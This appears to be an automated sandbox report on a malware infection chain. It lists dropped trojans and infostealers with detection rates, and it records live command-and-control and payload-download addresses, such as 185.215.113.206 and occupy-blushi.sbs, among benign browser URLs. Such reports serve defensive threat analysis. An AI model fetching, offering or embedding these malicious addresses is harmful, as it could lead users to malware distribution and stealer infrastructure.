C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vg9qcBa[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	42%	ReversingLabs	Win32.Trojan.CryptBot
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	42%	ReversingLabs	Win32.Trojan.CryptBot
C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://occupy-blushi.sbs/apiMY	100%	Avira URL Cloud	malware
http://detectportal.firefox.com8	0%	Avira URL Cloud	safe
http://185.215.113.206:	0%	Avira URL Cloud	safe
https://login.microsoftonline.comresource://gre/modules/IndexedDB.sys.mjsbug-1703186-rollout-http3-s	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exeX	0%	Avira URL Cloud	safe
https://push-hook.cyou/kjN	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exeP	0%	Avira URL Cloud	safe
https://occupy-blushi.sbs/=	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exe&	0%	Avira URL Cloud	safe
https://push-hook.cyou/	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php-9k	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/6	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/N	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/E	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/r&	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/D	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/Z	100%	Avira URL Cloud	malware
https://occupy-blushi.sbs/R	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
push-hook.cyou	104.21.10.6	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
occupy-blushi.sbs	104.21.7.169	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
frogs-severz.sbs	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612179903&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612178908&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732612172316&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://detectportal.firefox.com8	firefox.exe, 0000002D.00000002.3423827552.000001FAB7BE4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://login.microsoftonline.comresource://gre/modules/IndexedDB.sys.mjsbug-1703186-rollout-http3-s	firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000030.00000002.3301010972.0000016918386000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/apiMY	684030933f.exe, 0000001F.00000002.3333638444.0000000005F7A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000002D.00000002.3690428072.000001FAC2736000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000002D.00000002.3369538416.000001FAB69B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.duckduckgo.com/ac/get	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227323210.000001FABA23E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206:	27ee25f0d2.exe, 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/random.exeP	skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeX	skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/common	firefox.exe, 0000002D.00000002.3335512997.000001FAB608A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881P5	firefox.exe, 0000002D.00000002.3323100316.000001FAAA811000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000002D.00000002.3335512997.000001FAB6061000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/AND	firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD50C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000002D.00000002.3659101416.000001FABABEF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000002D.00000002.3414733058.000001FAB6AFD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.0000016918312000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.iqiyi.com/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.com/account?=https://accounts.google.co	firefox.exe, 00000030.00000002.3298523789.0000016918260000.00000004.00000020.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php_	file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou/kjN	vg9qcBa.exe, 00000019.00000003.2836000750.00000000032CF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836258932.00000000032D2000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpb	file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exe&	skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://push-hook.cyou/	vg9qcBa.exe, 00000019.00000003.2836000750.00000000032CF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836258932.00000000032D2000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://occupy-blushi.sbs/	684030933f.exe, 0000001C.00000003.3121936481.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3196190516.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3150950211.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3121777432.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120796388.000000000558C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3150772889.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3126847933.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252505365.0000000005F72000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3223693107.0000000001752000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252233353.0000000005F71000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3250765134.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC28A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC2874000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	684030933f.exe, 0000001C.00000003.3122599924.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB194000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC2874000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/=	684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php-9k	file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	c2fcbf308b.exe, 0000001B.00000003.2936500946.00000000076A2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/6	684030933f.exe, 0000001C.00000003.3092217351.0000000005589000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://occupy-blushi.sbs/r&	684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org	firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.com/account?=https:	firefox.exe, 0000002D.00000002.3655021318.000001FABA843000.00000004.00000020.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/N	684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000002D.00000002.3679855648.000001FABD1C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3651913103.000001FABA52E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1_scheduleStartupIdleTasks/task/observer/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000002D.00000002.3690428072.000001FAC2736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
